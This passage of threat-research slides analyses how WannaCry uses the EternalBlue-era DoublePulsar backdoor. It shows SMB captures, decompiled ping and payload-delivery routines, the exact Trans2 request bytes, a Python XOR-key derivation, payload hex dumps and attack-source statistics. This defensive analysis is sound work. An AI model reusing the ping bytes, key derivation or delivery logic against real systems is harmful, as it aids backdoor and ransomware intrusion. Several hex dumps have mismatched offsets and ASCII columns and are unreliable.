0150 77 72 45 49 55 49 54 5a 57 41 51 65 4f 50 45 74 wrEIUITZ WAQeOPEt
```

```
0001BB00 4f 36 59 62 39 69 6a 42 58 35 34 6a 59 36 4b 4d O6Yb9ijBX54jY6KM
0001BB01 2B 73 7A 33 33 4E 6D 53 36 54 4B 38 58 6C 4F 6B +sz33NmS6TK8X1Ok
0001BB02 39 32 30 73 30 45 30 61 61 6A 4F 56 2B 2B 77 72 920s0E0aaajOV++wr
0001BB03 52 39 32 64 73 31 46 4F 4C 42 4F 2B 65 76 4C 50 R92dslFOLBO+evLP
0001BB04 6A 34 73 49 76 41 6A 4C 76 61 4C 64 67 6B 38 2B j4sIvAjLvaLdgk8+
0001BB05 42 6C 4E 5A 73 38 50 4D 61 39 62 51 33 34 30 4A B1NZs8PMa9bQ340J
0001BB06 38 33 6E 78 31 70 34 66 2B 47 4C 70 62 78 55 79 83nXlp4f+GLpbxUy
0001BB07 7A 73 41 7A 6B 45 39 67 42 33 68 42 59 70 33 2B zsAzkE9gB3hBYp3+
0001BB08 30 68 4E 58 4D 6A 62 79 6A 58 77 42 34 30 51 34 0hNXMjbyjXwB40Q4
0001BB09 4B 69 44 62 69 70 2F 64 37 4E 30 43 6D 52 54 31 KiDbip/d7N0CmRTl
0001BB0A 67 4C 79 2B 6E 32 52 70 2F 45 59 4F 35 46 6B 61 gLy+n2Rp/EY05Fka
0001BB0B 70 61 34 59 34 6B 71 44 68 50 76 4C 75 4F 66 47 pa4Y4kqDhPvLuOfG
0001BB0C 55 76 6A 4E 34 42 4E 64 42 6B 32 33 72 30 2F 46 UvjN4BNdBk23r0/F
0001BB0D 33 5A 6D 66 49 65 37 7A 48 39 65 63 66 44 71 4A 32mfIe7zH9ecfDqJ

0002B7A0 72 59 52 64 4B 77 36 72 47 43 2B 5A 39 6B 47 51 rYRdKw6rGC+Z9kGQ
0002B7B0 37 7A 61 70 30 38 38 59 46 70 70 6E 6C 2B 56 78 7zap088YFppnl+Vx
0002B7C0 57 70 68 71 5A 63 6B 2F 57 51 80 00 A8 00 00 00 WphqZck/WQe...
0002B7D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF .....ÿÿ
0002B7E0 00 00 00 00 00 00 00 00 FF FF 00 00 00 00 00 00 .....ÿÿ.....
0002B7F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F1 .....ñ
0002B800 DF FF 00 00 00 00 00 00 00 00 00 00 20 F0 DF FF 00 F1 8ÿ.....88ÿ.ñ
0002B810 DF FF FF FF FF FF 60 00 04 10 00 00 00 00 80 EF 8ÿÿÿÿÿ.....€i
0002B820 DF FF 00 00 00 00 10 00 D0 FF FF FF FF 18 01 8ÿ.....8ÿÿÿÿÿ..
0002B830 D0 FF FF FF FF FF 00 00 00 00 00 00 00 00 00 00 8ÿÿÿÿÿ.....
0002B840 00 00 00 00 00 00 60 00 04 10 00 00 00 00 00 00 .....ÿÿÿÿÿÿ..
0002B850 00 00 00 00 00 00 90 FF CF FF FF FF FF 00 00 .....€.....
0002B860 00 00 00 00 00 00 80 10 00 00 00 00 00 00 00 00 .....9»fd4d9L7L
0002B870 00 00 00 00 00 00 39 BB 66 64 34 64 39 4C 37 4C .....S8S9B/wrEIUITZWA
0002B880 53 38 53 39 42 2F 77 72 45 49 55 49 54 5A 57 41 QeOPEtmB9vuq8Kgr
0002B890 51 65 4F 50 45 74 6D 42 39 76 75 71 38 4B 67 72
```


Case Study – Traffic of DoublePulsar and Payload Deliver

- EternalBlue / WannaCry first send DoublePulsar ping message to the target
 - Check DoublePulsar backdoor installed or not

```
SMB Negotiate Protocol Request
TCP 445 → 61662 [ACK] Seq=1 Ack=138 Win=30336 Len=0
SMB Negotiate Protocol Response
SMB Session Setup AndX Request, User: anonymous
SMB Session Setup AndX Response
SMB Tree Connect AndX Request, Path: \\[REDACTED]IPC$
SMB Tree Connect AndX Response
SMB Trans2 Request, SESSION_SETUP
SMB Trans2 Response<unknown>, Error: STATUS_NOT_IMPLEMENTED
```

```
0030 00 00 00 4e ff 53 4d 42 32 00
0040 00 00 00 18 07 c0 00 00 00 00 00 00 00 00
0050 00 00 ff ff ff fe 00 00 41 00 0f 0c 00 00 01
0060 00 00 00 00 00 00 00 01 34 ee 00 00 00 0c 00 42
0070 00 00 00 4e 00 01 00 0e 00 0d 00 00 00 00 00
0080 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

```
Trans2 Request (0x32)
Word Count (WCT): 15
Total Parameter Count: 12
Total Data Count: 0
Max Parameter Count: 1
Max Data Count: 0
Max Setup Count: 0
Reserved: 00
Flags: 0x0000
Timeout: 4 hours, 20 minutes, 10.881 seconds
Reserved: 0000
Parameter Count: 12
Parameter Offset: 66
Data Count: 0
Data Offset: 78
Setup Count: 1
Reserved: 00
Subcommand: SESSION_SETUP (0x000e)
Byte Count (BCC): 13
Padding: 00
SESSION_SETUP Parameters
Unknown Data: 00000000000000000000000000000000
```




Traffic of DoublePulsar Check by WannaCry

```
if ( send(v4, Tree_Connect_AndX_Req, 96, 0) != -1 && recv(v4, buf, 1024, 0) != -1 )
{
    TreeID_Low_0 = buf[28];
    TreeID_High_0 = buf[29];
    UserID_Low_0 = v5;
    UserID_High_0 = v7;
    if ( send(v4, Trans2_SESSION_SETUP_Ping, 82, 0) != -1 && recv(v4, buf, 1024, 0) != -1 && buf[34] == 81 )// check resp. MID
    {
```

0030		00 00 00 4e ff 53 4d 42 32 00
0040	00 00 00 18 07 c0 00 00 00 00 00 00 00 00	
0050	00 00 ff ff ff fe 00 00 41 00 0f 00 00 00 00 01	
0060	00 00 00 00 00 00 00 00 01 34 ee 00 00 00 0c 00 42	
0070	00 00 00 4e 00 01 00 0e 00 0d 00 00 00 00 00 00	
0080	00 00 00 00 00 00 00 00	

.data:0042E6E7	00	db	0
.data:0042E6E8	00	db	0
.data:0042E6E9	00	db	0
.data:0042E6EA	00	db	0
.data:0042E6EB	00	db	0
.data:0042E6EC	00	db	0
.data:0042E6ED	01	Timeout_0	db 1
.data:0042E6EE	34	Timeout_1	db 34h
.data:0042E6EF	EE	Timeout_2	db 0EEh
.data:0042E6F0	00	Timeout_3	db 0
.data:0042E6F1	00		db 0
.data:0042E6F2	00		db 0
.data:0042E6F3	0C		db 0Ch
.data:0042E6F4	00		db 0
.data:0042E6F5	42		db 42h ; B
.data:0042E6F6	00		db 0
.data:0042E6F7	00		db 0
.data:0042E6F8	00		db 0
.data:0042E6F9	4E		db 4Eh ; N
.data:0042E6FA	00		db 0
.data:0042E6FB	01		db 1
.data:0042E6FC	00		db 0
.data:0042E6FD	0E		db 0Eh
.data:0042E6FE	00		db 0
.data:0042E6FF	0D		db 0Dh
.data:0042E700	00		db 0

Traffic of DoublePulsar Ping Request Counts




Traffic of DoublePulsar Payload Deliver by WannaCry

SMB Tree Connect AndX Request, Path: \\[REDACTED]IPC\$
SMB Tree Connect AndX Response
SMB Trans2 Request, SESSION_SETUP
SMB Trans2 Response<unknown>, Error: STATUS_NOT_IMPLEMENTED


▼ SMB (Server Message Block Protocol)
▼ SMB Header
Server Component: SMB
SMB Command: Trans2 (0x32)
NT Status: STATUS_NOT_IMPLEMENTED (0xc0000002)
Flags: 0x98, Request/Response, Canonicalized Path
Flags2: 0xc007, Unicode Strings, Error Code Type
Process ID High: 0
Signature: 67c5f99c00000000
Reserved: 0000
Tree ID: 65535 (\\[REDACTED])
Process ID: 65279
User ID: 0
Multiplex ID: 81

```
if ( send(v4, Tree_Connect_AndX_Req, 96, 0) != -1 && recv(v4, buf, 1024, 0) != -1 )  
{  
    Ping_TreeID_Low_0 = buf[28];  
    Ping_TreeID_High_0 = buf[29];  
    Ping_UserID_Low = v5;  
    Ping_UserID_High_0 = v10;  
    Exec_TreeID_0 = buf[28];  
    Exec_TreeID_1 = buf[29];  
    Exec_UserID_0 = v5;  
    Exec_UserID_1 = v10;  
    if ( send(v4, Trans2_SESSION_SETUP_Ping, 82, 0) != -1 && recv(v4, buf, 1024, 0) != -1 && buf[34] == 81 )// check resp. MID  
    {  
        v6 = *(_DWORD *)&buf[18]; // Signature DWORD Low  
        v12 = *(_DWORD *)&buf[22]; // Signature DWORD High  
        v7 = Set_Sig_High_to_Zero(*(int *)&buf[18], *(int *)&buf[22]);  
        v8 = Calculate_Xor_Key(v6);  
        Send_Exec_Payload(v4, v7, v8);  
    }  
}
```



Traffic of DoublePulsar Payload Deliver by WannaCry

```
if ( send(v4, Tree_Connect_AndX_Req, 96, 0) != -1 && recv(v4, buf, 1024, 0) != -1 )
{
    Ping_TreeID_Low_0 = buf[28];
    Ping_TreeID_High_0 = buf[29];
    Ping_UserID_Low = v5;
    Ping_UserID_High_0 = v10;
    Exec_TreeID_0 = buf[28];
    Exec_TreeID_1 = buf[29];
    Exec_UserID_0 = v5;
    Exec_UserID_1 = v10;
    if ( send(v4, Trans2_SESSION_SETUP_Ping, 82, 0) != -1 && recv(v4, buf, 1024, 0) != -1 && buf[34] == 81 )// check resp. MID
    {
        v6 = *(_DWORD *)&buf[18];          // Signature DWORD Low
        v12 = *(_DWORD *)&buf[22];         // Signature DWORD High
        v7 = Set_Sig_High_to_Zero(*(int *)&buf[18], *(int *)&buf[22]);
        v8 = Calculate_Xor_Key(v6);
        Send_Exec_Payload(v4, v7, v8);
    }
}
```



Traffic of DoublePulsar Payload Deliver by WannaCry

```
00000000 D9 37 12 5A 32 FA F3 DF BE C7 36 5E 52 FA D1 E6 Û7.Z2úóß¾Ç6^RúÑæ
00000010 42 73 36 5E DB F4 AA 5E 52 73 8E 1E 52 73 36 D7 Bs6^Ûô^~^RsZ_.Rs6×
00000020 D5 D3 36 5E 52 CB AE 5F 52 73 BF D9 F6 73 36 5E ÔÓ6^RĒ@_Rs¿ÛöS6^
00000030 EA F1 DF 1D D7 FA B1 F6 52 73 36 E6 52 73 36 5E êñß.×ú±öRs6æRs6^
00000040 DB F4 9A 5E 52 73 8E 5E 52 73 36 D7 D5 C3 36 5E Ûôš^RsZ^Rs6×ÔÃ6^
00000050 52 CB BE 5F 52 73 BF D9 C6 73 36 5E 36 F8 2B 66 RĒ¾_Rs¿ÛĒS6^6ø+f
00000060 52 73 36 38 D9 30 30 9F B2 63 50 D5 51 15 13 5E Rs68Û00ÿ^cPÔQ..^
00000070 A2 F8 2E 38 D3 88 7B 04 26 74 1B 5E 42 73 36 B5 cø.8Ó^{.&t.^Bs6µ
```

```
00000000 8B 44 24 04 60 89 C5 81 EC B4 00 00 00 89 E7 B8 [D$.`%Ã.ì'...%ç,
00000010 10 00 00 00 89 87 9C 00 00 00 B8 40 00 00 00 89 ....%#æ....@...%
00000020 87 A0 00 00 00 87 A4 00 00 00 87 A4 00 00 00 87 + ....~...%#x...
00000030 B8 82 E9 43 85 shellcode B8 00 00 00 00 ,éC...%#"...
00000040 89 87 AC 00 00 89 87 B0 00 00 89 87 B0 00 00 %#~....%#°..
00000050 00 B8 88 01 00 00 89 87 94 00 00 00 64 8B 1D 38 ..^...%#"...d<.8
00000060 00 00 00 66 8B 43 06 C1 E0 10 66 8B 03 66 25 00 ...f<C.Ãà.f<.f%.
00000070 F0 8B 18 66 81 FB 4D 5A 74 07 2D 00 10 00 00 EB δ<.f.ûMZt.-....ë
```

XOR key reversed through signature value
decode the payload

Signature: 67c5f99c00000000

:

:


```
000012D0 D9 55 BF 1A 76 6F 07 9E 12 FF FF 29 D9 89 < &%D$.1Ã.M..]û)Û
000012E0 DB AC C5 F4 DF 3E C1 D3 02 B0 99 00 60 50 %ßó^~.M÷..æöÿÿ)Ûš
000012F0 8D 80 9C 3F 91 9B 9F AC 2B 09 90 00 60 50 ßó^aÃè÷öÿÿë...`P
00001300 52 72 36 5E 52 3E 6C CE 50 00 00 04 00 00 .....MZ.....
00001310 52 8C C9 5E 52 CB 36 5E 50 00 00 40 00 00 .ÿÿ.....@..
00001320 52 73 36 5E 52 73 36 5E 50 00 00 00 00 00 .....
00001330 52 73 36 5E 52 73 36 5E 52 73 36 5E Rs6^Rs6^Rs6^Rs6^
00001340 52 93 36 5E 52 7D 29 E4 5C 73 82 57 9F 52 8E 5F R^6^R})ä\š,WŸRZ_
00001350 1E BE 17 0A 3A 1A 45 7E 22 01 59 39 20 12 5B 7E .%...E~".Y9 .[~
00001360 31 12 58 30 3D 07 16 3C 37 53 44 2B 3C 53 5F 30 1.X0=...<7SD<+S_0
00001370 72 37 79 0D 72 1E 59 3A 37 5D 3B 53 58 57 36 5E r7y.r.Y:7];SXW6^
00001380 52 73 36 5E 52 0E AA 2C 0D 4A CB 42 5E 4A CB 42 Rs6^R.^,JĒB^JĒB
00001390 5E 4A CB 42 5E A2 D4 48 5E 4E CB 42 5E 4A CB 43 ^JĒB^côH^NĒB^JĒC
000013A0 5E 45 CB 42 5E 89 C4 1F 5E 49 CB 42 5E A2 D4 49 ^ĒĒB^%Ã.^ĒĒB^côI
000013B0 5E 4B CB 42 5E F2 CD 44 5E 4B CB 42 5E A2 D4 46 ^KĒB^ôÍD^KĒB^côF
000013C0 5E 49 CB 42 5E 21 5F 3D 3A 4A CB 42 5E 73 36 5E ^ĒĒB^!_=:JĒB^s6^
000013D0 52 73 36 5E 52 73 36 5E 52 73 36 5E Rs6^Rs6^Rs6^Rs6^
000013E0 52 73 36 5E 52 23 73 5E 52 3F 37 5B 52 22 61 4A Rs6^R#s^R?7[R"aJ
000013F0 0B 73 36 5E 52 73 36 5E 52 93 36 50 73 78 37 58 .s6^Rs6^R^6Psx7X
00001400 52 73 26 5E 52 73 76 0E 52 73 36 5E 52 9A 27 5E Rs&^Rsv.Rs6^Rš'^
00001410 52 73 26 5E 52 73 16 5E 52 73 36 5E 42 73 26 5E Rs&^Rs.^Rs6^Bs&^
00001420 52 73 26 5E 52 77 36 5E 52 73 36 5E 52 77 36 5E Rs&^Rw6^Rs6^Rw6^
00001430 52 73 36 5E 52 73 56 0E 52 73 26 5E 52 73 36 5E Rs6^RsV.Rs&^Rs6^
```

```
def calculate_doublepulsar_xor_key(s):
    x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
    x = x & 0xffffffff
    return x
key = calculate_doublepulsar_xor_key(0x67c5f99c)
```

```
00001330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00001340 00 E0 00 00 00 0E 1F BA 0E 00 B4 09 CD 21 B8 01 .à.....°...!Í!..
00001350 4C CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 Lí!This program
00001360 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E cannot be run in
00001370 20 44 4F 24 00 00 DOS mode....$.
00001380 00 00 00 39 FD 1C .....}ær_9ý..9ý.
00001390 0C 39 FD 39 FD 1D .9ý..Ñã..=ý..9ý.
000013A0 0C 36 FD 1C 0C FA F2 41 0C 3A FD 1C 0C D1 E2 17 .6ý..úòA.:ý..Ñã.
000013B0 0C 38 FD 1C 0C 81 FB 1A 0C 38 FD 1C 0C D1 E2 18 .8ý...û..8ý..Ñã.
000013C0 0C 3A FD 1C 0C 52 69 63 68 39 FD 1C 0C 00 00 00 .:ý..Rich9ý.....
000013D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
000013E0 00 00 00 00 00 50 45 00 00 4C 01 05 00 51 57 14 .....PE..L...QW.
000013F0 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 Y.....à...!...
00001400 00 00 10 00 00 00 40 50 00 00 00 00 00 00 00 00 .....@P.....é..
00001410 00 00 10 00 00 00 20 00 00 00 00 00 00 10 00 10 .....
00001420 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 .....
00001430 00 00 00 00 00 00 60 50 00 00 10 00 00 00 00 00 .....`P.....
```

DOS and PE header


Traffic of DoublePulsar Exec Request Counts




Attack Sources Tracing

- We collected DoublePulsar Exec requests on our hunting engines from Dec. 2024 to Feb. 2025
 - 157,643 unique IP addresses sent the request from over 160 countries
 - WannaCry payload delivered
- We also found 35 unique IP addresses sent EternalBlue main exploitation
 - Nmap scanner + Msf / public PoC code
 - Most behind VPN / VPS, but 1 IP from University in India

Attack Sources of DoublePulsar Exec Payload Deliver



Attack Sources of DoublePulsar Exec Payload Deliver





Conclusion

Keep the Operation Running

Conclusion

- We found there is still **lots EternalBlue related traffic** on network through our hunting engine
- Through **traffic pattern** and **threat intelligence**, we can determine the **attack purposes**
- From the attack source we collected, we found **WannaCry** still exist in lots **critical industries**



Q&A Session

